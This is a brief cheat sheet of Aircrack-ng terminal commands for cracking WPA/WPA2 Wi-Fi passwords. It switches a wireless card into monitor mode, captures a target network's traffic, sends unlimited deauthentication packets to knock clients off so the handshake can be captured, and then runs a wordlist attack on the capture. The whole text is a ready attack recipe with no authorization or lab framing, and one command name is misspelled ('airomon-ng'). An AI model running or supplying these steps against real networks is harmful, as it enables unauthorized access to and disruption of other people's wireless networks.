Aircrack

Aircrack-ng command

sudo ifconfig wlan0 down
sudo iwconfig
sudo iwconfig wlan0 mode monitor
sudo ifconfig wlan0 up
sudo systemctl stop NetworkManager
sudo airmon-ng check kill
sudo airmon-ng start wlan0
sudo airodump-ng wlan0 [location]

Cracking WPA/WPA2 password

su - 
airodump-ng wlan0mon
airodump-ng -c [channel number] -w [name for cap file] -d [bssid] wlan0mon
aireplay-ng --deauth 0 -a [bssid] -c [client] wlan0mon
airomon-ng stop wlan0mon
aircrack-ng [capfile] -w [wordlist]